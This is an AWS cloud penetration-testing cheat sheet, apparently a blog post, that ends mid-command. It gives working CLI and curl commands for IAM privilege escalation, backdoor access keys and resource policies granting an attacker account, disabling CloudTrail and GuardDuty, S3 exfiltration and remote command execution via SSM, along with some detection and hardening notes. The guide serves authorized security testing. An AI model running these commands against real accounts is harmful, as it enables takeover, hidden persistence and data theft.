AWS CLI Linux: Pentest, Enumeration, Attack, and Defense

AWS CLI on Linux for Amazon Web Services pentesting: IAM, S3, EC2, and Lambda enumeration commands, permission verification, and cloud privilege escalation.
- Posted on 2026-10-29
- Reading time: 34 min
AWS CLI for Pentest: Enumeration, IAM, and Privilege Escalation #
On Linux, the AWS CLI is one of the key tools for offensive pentesting on Amazon Web Services : it allows you to enumerate cloud resources, analyze IAM permissions, and identify privilege escalation paths starting from AWS credentials obtained during an authorized engagement.
This guide is a practical AWS penetration testing and red team assessment cheat sheet: it includes commands to enumerate IAM, S3, EC2, Lambda, and other core services, verify effective privileges, and analyze privilege escalation, lateral movement, data exfiltration, and persistence techniques. It includes operational examples, prerequisites, the impact of misconfigurations, and references to MITRE ATT&CK Cloud, as well as HTTP requests signed with curl and Signature Version 4 (SigV4), useful when the AWS CLI isn't available on Linux. The goal is to reproduce realistic cloud attack scenarios, understand the extent of authorizations, and document risks without leaving the pentest scope.
Signing AWS requests with curl, without the CLI #
Since curl 7.75.0 exists --aws-sigv4, which signs the request with Signature Version 4 using the credentials passed with --userSyntax:
curl --aws-sigv4 "aws:amz:REGION:SERVICE" \
--user "ACCESS_KEY_ID:SECRET_ACCESS_KEY" \
-H "x-amz-security-token: SESSION_TOKEN" \
URLThe header x-amz-security-token It only needs to be added manually if the credentials are temporary (STS, EC2/Lambda/ECS role, assume-role) — with a permanent access key/secret key pair it is not necessary. SERVICE is the signing name of the service (e.g. sts, s3, lambda, secretsmanager —almost always coincide with the name used in the hostname).
Each AWS service uses one of three different protocols, and this changes how you construct the request:
- query/REST with form-urlencoded (STS, IAM, RDS, CloudFormation, SNS…): parameters in
Action=X&Version=Y&...in the body or query string. - JSON 1.1 with
X-Amz-Target(Secrets Manager, SSM, KMS, ECS, ECR, Organizations, Cognito…): pure JSON body, the operation is specified in the headerX-Amz-Target: ServiceName.OperationName, not in the URL. - REST-JSON/REST-XML with real paths (Lambda, S3, EKS, API Gateway): The operation is determined by the path and HTTP method, like a regular REST API.
I have verified locally (test server + comparison with an independently computed SigV4 signature) that the signatures generated by --aws-sigv4 for all three protocols they are correct.
Unauthenticated Probe: Fingerprinting an endpoint before signing #
Even before having valid credentials (or to verify that an endpoint/service is actually reachable, in which region, behind which WAF/proxy), a request unsigned with curl -i (so you also see the response headers, not just the body) against a real AWS endpoint is still informative:
curl -i https://lambda.us-east-1.amazonaws.com/2015-03-31/functions/AWS responds anyway — with a 403 and a bodysuit {"message":"Missing Authentication Token"} o {"__type":"MissingAuthenticationTokenException",...} —and this alone confirms: the service exists in that region, the path/API version is correct, and there's no intermediate layer (WAF, corporate proxy, firewall) blocking the request before it reaches AWS. If, however, you get a timeout, a connection reset, or a DNS error, the problem is higher upstream (wrong region, service unavailable there, or a network blockade).
Be careful not to confuse this with an endpoint http://IP/2015-03-31/functions/ su Naked IP: that is never a real public AWS endpoint (AWS does not publish services behind a direct IP without hostname/TLS) — if you see it in a lab/CTF context it is almost certainly a local proxy, a mock, or the target itself reimplementing the Lambda API (e.g. LocalStack, or a custom service mimicking the Lambda REST interface for testing purposes). Always verify with curl -i what that IP actually responds to before treating it as if it were AWS.
The same unsigned probe works on any endpoint in this guide — just replace the URL:
curl -i https://secretsmanager.us-east-1.amazonaws.com/
curl -i https://ec2.us-east-1.amazonaws.com/
curl -i https://s3.amazonaws.com/AWS Services Table #
| Service | What | What to enumerate | API Protocol | Security impact |
|---|---|---|---|---|
| I AM | Identity Management | Users, roles, policies, trust policies, permissions boundaries | Query | Root of almost every privilege escalation |
| STS | Temporary credentials | Current identity, roles that can be assumed | Query | Pivoting between roles and accounts |
| S3 | object storage | Bucket, ACL, bucket policy, versioning, encryption | REST-XML | Data exposure, often the initial entry point |
| EC2 | Virtual Machine | Instances, IAM instance profile, security group, user-data | EC2 queries | Code execution, credentials via IMDS |
| Lambda | Serverless functions | Functions, config, execution role, env vars, code | REST-JSON | Secret in clear, privesc via execution role |
| Secret Manager | Secrets with rotation | Secrets, metadata, versions | JSON 1.1 | Application credentials, DB, API key |
| SSM | Config/secrets + remote execution | Parameters, documents, active sessions | JSON 1.1 | Running commands on EC2 as root/SYSTEM |
| RDS | Managed databases | Instances, clusters, snapshots | Query | Network exposure, shared snapshots |
| ECR | Container Registry | Repository, images | JSON 1.1 | Secret hardcoded in images |
| ECS | Container Orchestration | Cluster, task definition, ExecuteCommand | JSON 1.1 | Secret in task definition, shell in container |
| KMS | Cryptographic keys | Keys, policies, status | JSON 1.1 | Data decryption, if authorized |
| Cognito | Client-side app authentication | Identity pool, user pool, unauth/auth roles | JSON 1.1 | IAM credentials without auth, user takeover |
| EKS | Managed Kubernetes | Cluster, public endpoint, aws-auth mapping | REST-JSON | Accessing the K8s control plane via IAM |
| Cloud Formation | Infrastructure as code | Stack, output, template | Query | Secret hardcoded in template and output |
| Organizations | Multi-account | Account, OU, SCP | JSON 1.1 | Org-wide blast radius, cross-account pivot |
| CloudTrail | Audit log | Active trails, management/data events | JSON 1.1 | Understanding what's actually logged |
AWS CLI Pentest Cheat Sheet #
The commands to launch first in any engagement, before going into detail service by service. R = read only, W = modify/create resources (must be tracked and explicitly authorized in the scope before executing).
| Command | Target | IAM permission required | R / W |
|---|---|---|---|
aws sts get-caller-identity | Who am I, in which account | None (not blockable by deny) | R |
aws configure list | What profile/credentials is the CLI currently using? | — (local) | R |
aws iam list-roles / list-users | Account Identity Map | iam:ListRoles, iam:ListUsers | R |
aws iam simulate-principal-policy | Check effective permissions without performing the action | iam:SimulatePrincipalPolicy | R |
aws s3api list-buckets | Account owned bucket | s3:ListAllMyBuckets | R |
aws ec2 describe-instances | Instances, instance profile, IMDS config | ec2:DescribeInstances | R |
aws lambda list-functions | Associated execution functions and roles | lambda:ListFunctions | R |
aws ssm describe-instance-information | Which instances have the SSM agent active (candidates for lateral movement) | ssm:DescribeInstanceInformation | R |
aws secretsmanager list-secrets | Secrets present (metadata only) | secretsmanager:ListSecrets | R |
aws cloudtrail get-trail-status | Real logging coverage | cloudtrail:GetTrailStatus | R |
Any command beyond these ten modifies, creates, or invokes something: always treat it as W until you have verified that it is truly read-only.
Prerequisites for an AWS Pentest #
# Verify AWS CLI v2 is installed — v1 is EOL and some newer APIs/flags
# (e.g. --no-sign-request on some services, certain --query shortcuts)
# are missing or behave differently
aws --version
# See exactly which profile, region and credential source the CLI
# is about to use — check this BEFORE assuming a profile is active
aws configure list
# Confirm identity and account before touching anything
aws sts get-caller-identity --profile pentest
# Confirm which regions are even enabled for this account — resources
# in a disabled/opted-out region won't show up in a default-region scan
aws ec2 describe-regions --all-regionsBefore you list anything, get it in writing: account IDs authorized in the scope, regions to cover, whether credentials are permanent or temporary (and when they expire — aws sts get-session-token/a assume-role they have one Expiration in the response, always check it), and if the engagement includes actions of this type W or just enumeration.
Quick Setup #
# Dedicated profile for the engagement — never use the default one
aws configure --profile pentest
# Or with temporary credentials (e.g. from STS or IMDS)
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=... # only if the credentials are temporaryEnvironment variables have priority on --profile passed to the command line. If the results are not as expected, always check env | grep AWS_ before suspecting missing permits.
# Current identity — always the first command to run
aws sts get-caller-identity --profile pentestCurl equivalent (query protocol, form-urlencoded):
end point: https://sts.us-east-1.amazonaws.com/ — same endpoint for each STS action, the operation is in the parameter Action of the body, not in the path.
curl --aws-sigv4 "aws:amz:us-east-1:sts" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "Content-Type: application/x-www-form-urlencoded; charset=utf-8" \
-d "Action=GetCallerIdentity&Version=2011-06-15" \
https://sts.us-east-1.amazonaws.com/get-caller-identity returns Account, UserId, Arn —tells you right away whether you are an IAM user, an assumed role, or a federated user.
IAM via curl #
IAM uses the same query protocol as STS, but the endpoint is not regional : IAM is a global service, with a single endpoint for your entire account regardless of the region you work in.
end point: https://iam.amazonaws.com/
curl --aws-sigv4 "aws:amz:us-east-1:iam" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "Content-Type: application/x-www-form-urlencoded; charset=utf-8" \
-d "Action=ListRoles&Version=2010-05-08" \
https://iam.amazonaws.com/Note: Even if the IAM endpoint is global, the region passed to --aws-sigv4 (here us-east-1) remains necessary to compute the signature — SigV4 still requires it as part of the credential scope, even when the service itself is non-regional.
AWS enumeration workflow #
- Identify account, principal and region.
get-caller-identity+ Check your active region. Many resources only exist in certain regions. - Check credentials, session, and available permissions. Temporary or permanent? How long do they last?
- Enumerate IAM and trust relationships. Who you are, what you can do, what roles you can assume.
- Map accessible resources and services. Based on what IAM shows to be reachable.
- Identify potential paths of privilege escalation.
- Validate the results within the scope and collect evidence. Don't escalate “just to see if it works” if it's not in scope.
Enumeration, permission verification and exploitation #
Three distinct phases, confusing them is the most common mistake:
- Enumeration: collect information.
- Permissions Check: Determine whether the required IAM action is actually available — via
simulate-principal-policy, direct testing, or reading the policy. - Exploitation: actually perform the action.
The fact that a policy contain iam:CreateAccessKey It does not mean that it is exploitable: there may be a Deny explicit, an unmet condition, a permissions boundary, or an SCP that blocks it.
IAM: Enumeration and Privilege Escalation #
Basic enumeration #
aws iam get-user
aws iam list-users
aws iam list-roles
aws iam list-groups
# Custom policies in the account — do NOT skip AWS managed policies:
# many (AdministratorAccess, PowerUserAccess, IAMFullAccess...) grant
# huge privileges and must be reviewed just like custom ones
aws iam list-policies --scope Local
aws iam list-policies --scope AWS --only-attachedActual Relationships and Permissions #
# Trust policy of a role: who can assume it
aws iam get-role --role-name ROLE_NAME --query 'Role.AssumeRolePolicyDocument'
# Groups a user belongs to
aws iam list-groups-for-user --user-name TARGET
# Attached / inline policies
aws iam list-attached-user-policies --user-name TARGET
aws iam list-attached-role-policies --role-name TARGET
aws iam list-attached-group-policies --group-name TARGET
aws iam list-user-policies --user-name TARGET
aws iam get-user-policy --user-name TARGET --policy-name POLICY_NAME
# Permissions boundary (if set, caps the max effective privilege)
aws iam get-user --user-name TARGET --query 'User.PermissionsBoundary'
# Which users/roles/groups have a given policy attached
aws iam list-entities-for-policy --policy-arn arn:aws:iam::ACCOUNT_ID:policy/POLICY_NAMERead the actual content of a policy #
A policy always has a version by default: never assume that it is v1.
aws iam get-policy --policy-arn arn:aws:iam::ACCOUNT_ID:policy/POLICY_NAME \
--query 'Policy.DefaultVersionId' --output text
aws iam get-policy-version \
--policy-arn arn:aws:iam::ACCOUNT_ID:policy/POLICY_NAME \
--version-id VERSION_ID_FOUND_ABOVEAlways check: statement Effect: Deny (always wins), blocks Condition (IP, MFA, tag), policy type (identity-based, resource-based, trust, SCP, session policy — the effective privilege is the intersection of all applicable ones).
Check permissions without performing the action #
aws iam simulate-principal-policy \
--policy-source-arn arn:aws:iam::ACCOUNT_ID:user/TARGET \
--action-names s3:GetObject iam:CreateAccessKey sts:AssumeRoleThe simulator doesn't perform the actual action, but the call itself is logged in CloudTrail like any other API call. Most importantly: does not represent the entire authorization contextEvaluates the identity-based policies of the given identity, but does not guarantee to faithfully reproduce resource-based policies of another account, Organization-level SCPs, permissions boundaries, or conditions based on the real context of the request (source IP, MFA at the time of the call, resource tag). A result allowed from the simulator is a strong indication that it is worth verifying with a controlled test — not an absolute certainty that the action will succeed in production.
IAM privilege escalation pattern, with exploit commands #
1. iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion
Prerequisite: These actions apply to a policy already attached to you. Impact: Rewrite the policy with arbitrary permissions. Verification: If the policy already has 5 versions (maximum allowed), you also need iam:DeletePolicyVersion.
cat > admin_policy.json << 'EOF'
{
"Version": "2012-10-17",
"Statement": [{ "Effect": "Allow", "Action": "*", "Resource": "*" }]
}
EOF
aws iam create-policy-version \
--policy-arn arn:aws:iam::ACCOUNT_ID:policy/TARGET_POLICY \
--policy-document file://admin_policy.json \
--set-as-default2. iam:SetDefaultPolicyVersion on a more permissive previous version
Prerequisite: An old, never-deleted version of the policy granted more privileges. Impact: Restoring it to the default restores those privileges without creating anything new (quieter than pattern 1).
aws iam list-policy-versions --policy-arn arn:aws:iam::ACCOUNT_ID:policy/VulnerablePolicy
aws iam set-default-policy-version --policy-arn arn:aws:iam::ACCOUNT_ID:policy/VulnerablePolicy --version-id v13. iam:PassRole + ec2:RunInstances
Prerequisite: iam:PassRole on a privileged role, ec2:RunInstances, plus SSH/SSM access to the instance once it's started. Impact: Instance with privileged instance profile → credentials via IMDS.
aws ec2 run-instances \
--image-id ami-XXXXXXXX --instance-type t2.micro \
--iam-instance-profile Name=PRIVILEGED_PROFILE \
--key-name YOUR_KEY --security-group-ids sg-XXXXXXXX \
--region us-east-1
aws ec2 describe-instances --instance-id i-XXXXXXXX --region us-east-1After logging in to the instance (SSH or SSM), extract the role credentials from IMDS (see the dedicated section below).
4. iam:CreateAccessKey on other identities
Prerequisite: Action with resource not limited to ${aws:username}Impact: Permanent credentials for a more privileged user. Verification: Limit of 2 active access keys per user.
aws iam create-access-key --user-name TARGET_PRIVILEGED_USER5. iam:CreateLoginProfile / iam:UpdateLoginProfile
Prerequisite: Action on a user who doesn't have (or already has) a console password. Impact: Console access with a password you set.
aws iam create-login-profile --user-name TARGET --password 'TempPassw0rd!2026' --no-password-reset-required
# Se l'utente ha già un login profile, serve update-login-profile invece
aws iam update-login-profile --user-name TARGET --password 'TempPassw0rd!2026' --no-password-reset-required6. iam:AttachUserPolicy / AttachGroupPolicy / AttachRolePolicy / Put*Policy
aws iam attach-user-policy --user-name TARGET --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam attach-group-policy --group-name TARGET_GROUP --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam put-user-policy --user-name TARGET --policy-name backdoor --policy-document file://admin_policy.json7. iam:AddUserToGroup
aws iam add-user-to-group --group-name Admins --user-name TARGET8. iam:UpdateAssumeRolePolicy and permissive trust relationships
cat > trust_policy.json << 'EOF'
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": { "AWS": "arn:aws:iam::ACCOUNT_ID:user/TARGET" },
"Action": "sts:AssumeRole"
}]
}
EOF
aws iam update-assume-role-policy --role-name PRIVILEGED_ROLE --policy-document file://trust_policy.json
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE --role-session-name privesc9. sts:AssumeRole and cross-account trusts
aws sts assume-role --role-arn arn:aws:iam::ALTRO_ACCOUNT_ID:role/TARGET_ROLE --role-session-name pivot10. Confused deputy: cross-account trust policy without ExternalId
Prerequisite: A cross-account trust policy (typical of roles intended to be assumed by a third-party vendor/SaaS) that trusts an entire AWS account ("Principal": {"AWS": "arn:aws:iam::ACCOUNT_ID:root"} or a generic role) without requiring a condition sts:ExternalIdImpact: If you know the Role ARN (often published in integration documentation, or discoverable by trial and error) and check any identity in that trusted account — even if it's not the one originally intended — you can assume the role.
aws iam get-role --role-name THIRD_PARTY_ROLE --query 'Role.AssumeRolePolicyDocument'
# Look for a Principal scoped to an entire account with NO Condition block
# requiring sts:ExternalId — that's the confused-deputy gap
aws sts assume-role \
--role-arn arn:aws:iam::ACCOUNT_ID:role/THIRD_PARTY_ROLE \
--role-session-name confused-deputy-testThis is exactly the problem that theExternalId It was created to solve this problem (AWS documents it for cross-account integration with third parties) — its absence is a finding that should always be noted, not just a theoretical curiosity.
IAM Access Analyzer: Cross-Account Resources Exposed #
accessanalyzer Automatically lists which resources in your account are reachable from the outside (other accounts or the Internet) — faster than reading each resource-based policy by hand:
aws accessanalyzer list-analyzers
aws accessanalyzer list-findings-v2 --analyzer-arn ANALYZER_ARN
aws accessanalyzer list-findings-v2 --analyzer-arn ANALYZER_ARN \
--filter '{"resourceType":{"eq":["AWS::IAM::Role"]}}'If there is no active analyzer and you have access-analyzer:CreateAnalyzer you can create one; otherwise you fall back on manual analysis of trust policies, looking for "AWS": "*" o Principals referencing external accounts.
Role chaining and session duration limit #
By pivoting on multiple roles in sequence (assume A → from A assume B → from B assume C), each hop brings the maximum duration of the current session to the minimum between that of the role and 1 hours, regardless of the MaxSessionDuration configured — and you can't regenerate the token without reverting to the original credential. On a long chain, you risk losing access mid-transaction: plan your timing.
# Hop 1 — assume intermediate role, export its creds
CREDS=$(aws sts assume-role --role-arn arn:aws:iam::ACC1:role/ROLE_A \
--role-session-name hop1 --output json)
export AWS_ACCESS_KEY_ID=$(echo "$CREDS" | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo "$CREDS" | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo "$CREDS" | jq -r '.Credentials.SessionToken')
# Hop 2 — from ROLE_A, assume ROLE_B in another account (session cap now 1h)
aws sts assume-role --role-arn arn:aws:iam::ACC2:role/ROLE_B --role-session-name hop2Cross-service pattern (iam:PassRole as a common lever) #
The pattern repeats identically across multiple services: you have iam:PassRole on a privileged role, plus permission to create a resource in a service that runs code on your behalf. The code/command/job runs under the identity of the passed role.
# Lambda: crea ed esegui una funzione con un ruolo privilegiato
aws lambda create-function \
--function-name privesc-check --runtime python3.12 \
--role arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE \
--handler lambda_function.lambda_handler --zip-file fileb://payload.zip
aws lambda invoke --function-name privesc-check output.json
# Glue: dev endpoint con ruolo privilegiato, poi SSH per leggere le
# credenziali dal metadata service dell'endpoint
aws glue create-dev-endpoint \
--endpoint-name privesc-test --role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE \
--public-key file://~/.ssh/id_rsa.pub
aws glue get-dev-endpoint --endpoint-name privesc-test
# CloudFormation: stack con un ruolo privilegiato — il template può
# creare direttamente un utente admin ed esporne le access key in output
aws cloudformation create-stack \
--stack-name privesc --template-body file://create_admin.json \
--role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE --capabilities CAPABILITY_IAM
aws cloudformation describe-stacks --stack-name privescPersistence: maintaining access after initial engagement #
Once an escalation path has been demonstrated, a red team also verifies whether an attacker could silently maintain access. Two common patterns should be executed only if the scope explicitly includes persistence testing and should be removed at the end of the engagement:
IAM Backdoor : A second access key on a legitimate user almost always goes unnoticed, because it doesn't show up as a “new user” in a cursory review.
aws iam create-access-key --user-name LEGITIMATE_EXISTING_USER
# The new key works exactly like the user's original one — indistinguishable
# in day-to-day use, visible only via explicit list-access-keys auditingBackdoor via EventBridge + Lambda : A scheduled rule that periodically invokes a function with a privileged role, without requiring any open interactive session.
aws events put-rule \
--name maintenance-check --schedule-expression "rate(1 hour)"
aws lambda add-permission \
--function-name BACKDOOR_FUNCTION --statement-id eventbridge-invoke \
--action lambda:InvokeFunction --principal events.amazonaws.com \
--source-arn arn:aws:events:us-east-1:ACCOUNT_ID:rule/maintenance-check
aws events put-targets \
--rule maintenance-check \
--targets "Id"="1","Arn"="arn:aws:lambda:us-east-1:ACCOUNT_ID:function:BACKDOOR_FUNCTION"Intentionally innocuous rule name (“maintenance-check”) — the point to check on the detection side is whether the customer has alerted about new EventBridge rules or new access keys created outside of a known onboarding process.
Long-lived federated tokens: sts:GetFederationToken generates temporary credentials lasting up to 36 hours (versus the typical hour of a assume-role chained), without creating a user or access key that would appear in an IAM audit.
Important constraint: AWS allows you to call it only with credentials long term of an IAM user (permanent access key, AKIA...) or the root account — does not work with temporary credentials obtained via AssumeRole, AssumeRoleWithSAML o AssumeRoleWithWebIdentity. Therefore, it is only useful if the credentials in hand are those of an IAM user, not if you got there by assuming a role.
aws sts get-federation-token \
--name tmp-session \
--policy '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--duration-seconds 129600Backdoor via resource-based policy #
A persistence class that is often overlooked because it doesn't touch IAM: many services have a resource-based policy own, editable without permissions iam:*By adding us as a principal (even of an external account), you retain access to the resource even after your IAM identity is revoked.
# Lambda: grant an external account the right to invoke the function
aws lambda add-permission \
--function-name TARGET_FUNCTION --statement-id ext \
--action lambda:InvokeFunction --principal ATTACKER_ACCOUNT_ID
# KMS: grant yourself decrypt via a grant (separate from the key policy)
aws kms create-grant --key-id KEY_ID \
--grantee-principal arn:aws:iam::ATTACKER_ACCOUNT_ID:root \
--operations Decrypt
# Secrets Manager: attach a resource policy opening the secret cross-account
aws secretsmanager put-resource-policy --secret-id SECRET_NAME \
--resource-policy file://open_policy.jsonThe same goes for SNS (set-topic-attributes Policy), SQS (set-queue-attributes Policy) and ECR (set-repository-policy). The key advantage for an attacker is that these changes do not appear in an IAM policy audit — they must be looked for on a resource-by-resource basis (or with IAM Access Analyzer, see above). Hardening: Access Analyzer active on all accounts, alerts on AddPermission/CreateGrant/PutResourcePolicy with external principals, and explicit deny in SCPs about unapproved cross-account sharing.
Defense evasion: disable defender visibility #
Standard red team technique (MITRE ATT&CK, Impair Defenses category ), not enumeration: If the compromised identity has administrative logging/detection permissions, a real attacker disables them before moving. Verifying this during an engagement demonstrates the true impact of an overprivileged identity—and should always be reported as a critical finding, restoring the original state at the end of the test.
# Stop CloudTrail logging entirely for a trail
aws cloudtrail stop-logging --name TRAIL_NAME
# Disable a GuardDuty detector (stops threat detection, doesn't delete findings already generated)
aws guardduty update-detector --detector-id DETECTOR_ID --no-enable
# Stop AWS Config's configuration recorder (no more config change history)
aws configservice stop-configuration-recorder --configuration-recorder-name DEFAULT
# Delete VPC Flow Logs — removes network traffic visibility
aws ec2 delete-flow-logs --flow-log-ids fl-XXXXXXXXHowever, completely disabling a detector is noisy. A quieter alternative is a suppression filter with auto-archive: GuardDuty continues to run (no Enable=false to alert), but findings that match the filter are automatically archived and disappear from the active dashboard.
aws guardduty create-filter \
--detector-id DETECTOR_ID --name legit-maintenance \
--action ARCHIVE \
--finding-criteria '{"Criterion":{"resource.accessKeyDetails.userName":{"Eq":["YOUR_PRINCIPAL"]}}}'Defender side detection: Each of these actions is a logged IAM event (if CloudTrail is still active at the time of the call — for this StopLogging is typically the first step, before everything else). An alert on StopLogging, UpdateDetector with Enable=false, CreateFilter with Action=ARCHIVE, DeleteFlowLogs This should be treated as a top priority in any AWS monitoring setup. Mitigation: Restrict these permissions to a separate break-glass role, with mandatory MFA and dedicated alerting on each use.
S3 #
aws s3 ls
aws s3api list-buckets
aws s3 ls s3://BUCKET_NAME --recursive
aws s3api get-bucket-location --bucket BUCKET_NAME
aws s3api get-bucket-acl --bucket BUCKET_NAME
aws s3api get-bucket-policy --bucket BUCKET_NAME
aws s3api get-bucket-policy-status --bucket BUCKET_NAME
aws s3api get-bucket-versioning --bucket BUCKET_NAME
aws s3api get-bucket-encryption --bucket BUCKET_NAME
aws s3api get-bucket-logging --bucket BUCKET_NAME
aws s3api get-bucket-ownership-controls --bucket BUCKET_NAME
aws s3api get-public-access-block --bucket BUCKET_NAME
aws s3api get-public-access-block --account-id ACCOUNT_IDCurl equivalent to read bucket policy (S3 uses REST-XML, the operation is in the query string):
end point: https://BUCKET_NAME.s3.amazonaws.com/ (virtual-hosted style) or https://s3.amazonaws.com/BUCKET_NAME (path style, useful if the bucket name contains invalid characters in a hostname). For list-buckets Without specifying a bucket, the endpoint is https://s3.amazonaws.com/ knot.
curl --aws-sigv4 "aws:amz:us-east-1:s3" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "x-amz-content-sha256: UNSIGNED-PAYLOAD" \
"https://BUCKET_NAME.s3.amazonaws.com/?policy"Three different levels, not to be confused #
- Bucket configured as public: the bucket policy/ACL allows it.
- Really accessible bucket: with the credentials you have in hand, the call goes through.
- Accessible objects: A private bucket can have individual objects with public ACLs.
get-bucket-policy-status gives directly IsPublic: true/false. aws s3 ls without buckets returns only buckets owned by the account — an empty list does not prove that the account does not have access to any other third-party buckets.
# Scope recursive listings with a prefix on large buckets — an unfiltered
# recursive list on millions of objects is slow, burns API calls and is
# loud in the logs
aws s3 ls s3://BUCKET_NAME/config/ --recursive
aws s3api list-objects-v2 --bucket BUCKET_NAME --prefix backup/ --max-items 100If the bucket/object is public, you can also exfiltrate it without any AWS credentials:
curl -s "https://BUCKET_NAME.s3.amazonaws.com/config/database.yml" -o database.ymlSilent exfiltration with presigned URL #
If the bucket is private but you have s3:GetObject, you can generate a temporary signed URL and download the object from a completely different machine, without ever exposing your real AWS credentials to that second host (useful if downloading from an untrusted environment, or to demonstrate impact without leaving keys lying around):
aws s3 presign s3://BUCKET_NAME/config/database.yml --expires-in 300
# Output: a plain HTTPS URL valid for 300 seconds — fetch it with a bare curl,
# no AWS credentials needed on the machine that downloads it
curl -s "URL_GENERATO_SOPRA" -o database.ymlThe URL generation is logged in CloudTrail as a signature, but the actual GET request to the presigned URL immense appears as an API call — it is a random HTTP request to S3, visible only in S3 access logs (get-bucket-logging) if active.
Enumeration without credentials: --no-sign-request
#
Public buckets respond to unsigned requests — useful for testing exposure from a host without AWS credentials, or to brute-force the target bucket name:
aws s3 ls s3://TARGET_BUCKET --no-sign-request
aws s3api list-objects-v2 --bucket TARGET_BUCKET --no-sign-request
aws s3 cp s3://TARGET_BUCKET/file.txt - --no-sign-requestTo find public buckets starting from the company name, permute the name into common variations (company-backup, company-logs, company-dev, company-prod, company-assets) and head with --no-sign-request: NoSuchBucket (name does not exist) is different from AccessDenied (exists, private).
Deleted but still recoverable objects: S3 versioning #
If the bucket has versioning enabled, “deleted” objects are not really removed — they leave a DeleteMarker, but previous versions remain until explicitly purged:
# List ALL versions including delete markers
aws s3api list-object-versions --bucket BUCKET_NAME
# Retrieve a specific version of a "deleted" file
aws s3api get-object \
--bucket BUCKET_NAME \
--key path/to/file.txt \
--version-id VERSION_ID_FROM_ABOVE \
recovered_file.txtA policy of “delete” sensitive data + active versioning is a false security: anyone who has s3:GetObjectVersion can recover everything.
EC2 and VPC #
aws ec2 describe-instances
aws ec2 describe-security-groups
aws ec2 describe-key-pairs
aws ec2 describe-vpcs
aws ec2 describe-subnets
aws ec2 describe-route-tables# IAM instance profile attached — often the fastest path to credentials
aws ec2 describe-instances --query 'Reservations[].Instances[].IamInstanceProfile'
# IMDS configuration — HttpTokens: required = IMDSv2 enforced,
# optional = IMDSv1 still accepted
aws ec2 describe-instances --query 'Reservations[].Instances[].MetadataOptions'
# User-data: often holds provisioning scripts with hardcoded secrets
aws ec2 describe-instance-attribute --instance-id i-XXXXXXXXXXXX --attribute userData \
--query 'UserData.Value' --output text | base64 -d
# Launch templates: the same user-data can be reused across the fleet
aws ec2 describe-launch-templates
aws ec2 describe-launch-template-versions --launch-template-id lt-XXXXXXXX
# Snapshots and AMIs — check access permissions, not just existence
aws ec2 describe-snapshots --owner-ids self
aws ec2 describe-snapshot-attribute --snapshot-id snap-XXXXXXXX --attribute createVolumePermission
aws ec2 describe-images --owners self
aws ec2 describe-image-attribute --image-id ami-XXXXXXXX --attribute launchPermission
# Snapshots/AMIs the account can restore because they were shared too broadly
# (often shared "public" by mistake — a classic data-exposure finding)
aws ec2 describe-snapshots --restorable-by-user-ids all --query 'Snapshots[?Encrypted==`false`]'
aws ec2 describe-images --executable-users all --owners TARGET_ACCOUNT_IDA publicly shared AMI or snapshot (all) exposes the entire contents of the disk — often SSH keys, hardcoded credentials, source code — to anyone who knows the ID. Hardening: Periodic auditing of the createVolumePermission/launchPermission, and Block Public Access for EBS snapshots at the account level.
EC2 Endpoints: https://ec2.us-east-1.amazonaws.com/ — query protocol like STS/IAM, but with more detailed parameters (numbered indexes for filters):
curl --aws-sigv4 "aws:amz:us-east-1:ec2" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "Content-Type: application/x-www-form-urlencoded; charset=utf-8" \
-d "Action=DescribeInstances&Version=2016-11-15" \
https://ec2.us-east-1.amazonaws.com/Consolidated query:
aws ec2 describe-instances --query \
'Reservations[].Instances[].{
ID:InstanceId, PublicIP:PublicIpAddress, PrivateIP:PrivateIpAddress,
SG:SecurityGroups[].GroupId, Profile:IamInstanceProfile.Arn,
IMDS:MetadataOptions.HttpTokens
}' --output tableLateral movement without SSH: EC2 Instance Connect and SSM #
Two ways to run commands on an instance without having the original SSH key.
EC2 Instance Connect — Temporary push of your public key:
aws ec2-instance-connect send-ssh-public-key \
--instance-id i-XXXXXXXXXXXX --availability-zone us-east-1a \
--instance-os-user ec2-user --ssh-public-key file://~/.ssh/id_rsa.pub
ssh -i ~/.ssh/id_rsa ec2-user@TARGET_IPrequire ec2-instance-connect:SendSSHPublicKey and that the EC2 Instance Connect agent is installed on the instance (the default on many recent Amazon Linux/Ubuntu AMIs).
SSM Run Command — running commands without SSH, if the instance has the SSM agent active and a role with AmazonSSMManagedInstanceCore. SSM uses the JSON 1.1 protocol with X-Amz-Target (like Secrets Manager, seen below).
end point: https://ssm.us-east-1.amazonaws.com/
curl --aws-sigv4 "aws:amz:us-east-1:ssm" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: AmazonSSM.SendCommand" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{"InstanceIds":["i-XXXXXXXXXXXX"],"DocumentName":"AWS-RunShellScript","Parameters":{"commands":["id"]}}' \
https://ssm.us-east-1.amazonaws.com/
# Run a command and capture its output
COMMAND_ID=$(aws ssm send-command \
--instance-ids "i-XXXXXXXXXXXX" \
--document-name "AWS-RunShellScript" \
--parameters 'commands=["id","cat /etc/passwd"]' \
--query 'Command.CommandId' --output text)
aws ssm get-command-invocation \
